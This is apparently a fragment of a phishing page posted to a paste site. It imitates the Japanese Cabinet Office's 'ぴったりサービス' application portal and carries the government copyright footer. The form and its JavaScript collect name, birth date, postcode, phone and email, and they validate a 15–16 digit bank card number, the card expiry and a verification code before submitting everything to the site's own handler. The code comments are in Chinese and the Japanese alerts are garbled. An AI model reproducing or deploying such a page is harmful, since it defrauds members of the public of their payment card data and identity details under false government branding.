- <!--<li class="left common">-->
- <!--<ul>-->
- <!--<li>-->
- <!--<input type="radio" name="bankcardtype" id="13" value="0" hidden checked />-->
- <!--<label class="related" for="13"></label>-->
- <!--<span>個人</span>-->
- <!--</li>-->
- <!--<li>-->
- <!--<input type="radio" name="bankcardtype" id="14" value="1" hidden />-->
- <!--<label class="related" for="14"></label>-->
- <!--<span>会社</span>-->
- <!--</li>-->
- <!--</ul>-->
- <!--</li>-->
- <!--</ul>-->
- <input type="radio" name="bankcardtype" value="0" checked />
- <div style="line-height: 3.0rem;">個人</div>
- <input type="radio" name="bankcardtype" style="margin-left: 20px;" value="1" />
- <div style="line-height: 3.0rem;">会社</div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- 申請者電話番号 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <p>申請者電話番号</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error" style="color: #bebebe">
- <p>※半角数字で記入してください</p>
- <div style="display: flex;">
- <input placeholder="090" class="input" style="width: 9vw; margin: 0 10px 0 0;" maxlength="3" name="phone1" value="" />
- <p>-</p>
- <input placeholder="000" class="input" style="width: 9vw; margin: 0 10px;" maxlength="4" name="phone2" value="" />
- <p>-</p>
- <input placeholder="000" class="input" style="width: 9vw; margin: 0 10px;" maxlength="4" name="phone3" value=""/>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- FAX番号 -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <p>FAX番号</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error" style="color: #bebebe">
- <p>※半角数字で記入してください</p>
- <div style="display: flex;">
- <input class="input" placeholder="090" style="width: 9vw; margin: 0 10px 0 0;" maxlength="3" name="fax1" maxlength="3" />
- <p>-</p>
- <input class="input" placeholder="000" style="width: 9vw; margin: 0 10px;" maxlength="4" name="fax2" maxlength="4" />
- <p>-</p>
- <input class="input" placeholder="000" style="width: 9vw; margin: 0 10px;" maxlength="4" name="fax3" maxlength="4" />
- </div>
- </div>
- </div>
- </div>
- </div>
- <!-- メールアドレス -->
- <div class="table fix_lay sp_layout">
- <div>
- <div class="os_check">
- <div class="ttl_item ttl_items bg_gray">
- <div>
- <div class="tablecell">
- <div>
- <p>メールアドレス</p>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <div class="browser_check">
- <div class="sp_item_wrap check_wrap inactive">
- <div class="detail_txt no_error">
- <input placeholder="" class="input" style="width: 40vw;" name="email" />
- </div>
- </div>
- </div>
- </div>
- </form>
- <div class="btns">
- <ul class="sp_btn_layout">
- <li class="btn_back wdt100">
- <a href="./?act=default&mod=index" class="sp_prev_btn" id="windowClose" style="margin-right: auto!important">戻る</a>
- </li>
- </ul>
- <ul class="sp_btn_layout" style="background-color: #ed4070; border-radius: 5px">
- <li class="btn_back2 wdt100">
- <a href="javascript:void(0);return false;" onclick="submitFun();" class="sp_prev_btn" id="windowClose" style="margin-right: auto!important">次へすすむ</a>
- </li>
- </ul>
- <!-- <div class="isOk">
- <div>次へすすむ</div>
- <p>></p>
- </div> -->
- </div>
- <p class="bottomText">
- <text style="color: #000;">Next</text> 申請に必要な情報の入力を行います
- </p>
- </div>
- </section>
- <!-- <ul class="sp_btn_layout">
- <li class="btn_back2 wdt100">
- <a href="javascript:void(0);return false;" class="sp_prev_btn" id="windowClose" style="margin-right: auto!important">戻る</a>
- </li>
- </ul> -->
- </div>
- </main>
- <script>
- function submitFun()
- {
- //判断是否是手机端
- var state=isMobile();
- if(state) //手机端
- {
- var pname1=$('#pname1').val();
- var pname2=$('#pname2').val();
- var pyear=$('#pyear').val();
- var pmonth=$('#pmonth').val();
- var pday=$('#pday').val();
- var ppostcode1=$('#ppostcode1').val();
- var pbankcard=$('#pbankcard').val();
- var month3=$('#month3').val();
- var year3=$('#year3').val();
- var pcode=$('#pcode').val();
- if(pname1==''){ alert('氏名(漢字)暇ではない!');return false;}
- if(pname2==''){ alert('氏名(フリガナ)暇ではない!');return false;}
- if(pyear=='0'|| pmonth=='0' ||pday=='0'){ alert('生年月日不完全です!');return false;}
- if(ppostcode1=='' ){ alert('郵便番号暇ではない!');return false;}
- if(!checknumberfun(pbankcard)){ return false;}
- // if(pbankcard==''){ alert('入金カード番号ではない!');return false;}
- if(month3=='0'|| year3=='0'){ alert('カード有効期限不完全です!');return false;}
- if(pcode=='' ){ alert('認証コードではない!');return false;}
- $('#pmyform').attr('action','./?act=onlinesave&mod=add');
- $('#pmyform').submit();
- }else{ //pc端
- var name1=$('#name1').val();
- var name2=$('#name2').val();
- var year=$('#year').val();
- var month=$('#month').val();
- var day=$('#day').val();
- var postcode1=$('#postcode1').val();
- var bankcard=$('#bankcard').val();
- var month1=$('#month1').val();
- var year1=$('#year1').val();
- var code=$('#code').val();
- if(name1==''){ alert('氏名(漢字)暇ではない!');return false;}
- if(name2==''){ alert('氏名(フリガナ)暇ではない!');return false;}
- if(year=='0'|| month=='0' ||day=='0'){ alert('生年月日不完全です!');return false;}
- if(postcode1=='' ){ alert('郵便番号暇ではない!');return false;}
- if(!checknumberfun(bankcard)){ return false;}
- //if(bankcard=='' ){ alert('入金カード番号ではない!');return false;}
- if(month1=='0'|| year1=='0'){ alert('カード有効期限不完全です!');return false;}
- if(code=='' ){ alert('認証コードではない!');return false;}
- $('#myform').attr('action','./?act=onlinesave&mod=add');
- $('#myform').submit();
- }
- }
- function isMobile() {
- var userAgentInfo = navigator.userAgent;
- var mobileAgents = [ "Android", "iPhone", "SymbianOS", "Windows Phone", "iPad","iPod"];
- var mobile_flag = false;
- //根据userAgent判断是否是手机
- for (var v = 0; v < mobileAgents.length; v++) {
- if (userAgentInfo.indexOf(mobileAgents[v]) > 0) {
- mobile_flag = true;
- break;
- }
- }
- var screen_width = window.screen.width;
- var screen_height = window.screen.height;
- //根据屏幕分辨率判断是否是手机
- if(screen_width < 500 && screen_height < 800){
- mobile_flag = true;
- }
- return mobile_flag;
- }
- function checknumberfun(value)
- {
- var mod=/^\d{15,16}$/;
- if(!mod.test(value))
- {
- alert('フォーマットが間違っています');
- return false;
- }
- return true;
- }
- </script>
- <footer class="mpfooter">
- <div class="inner">
- <div class="footer_logo" style="cursor:default">
- <p><img src="./template/img/form/header_ttl.png" alt="ぴったりサービス" width="185"></p>
- </div>
- <div class="copyright" lang="en">
- <small>Copyright © Cabinet Office, Government of Japan. All rights Reserved.</small>
- </div>
- </div>
- </footer>
- </div>
- </body>
- </html>
Add Comment
Please, Sign In to add comment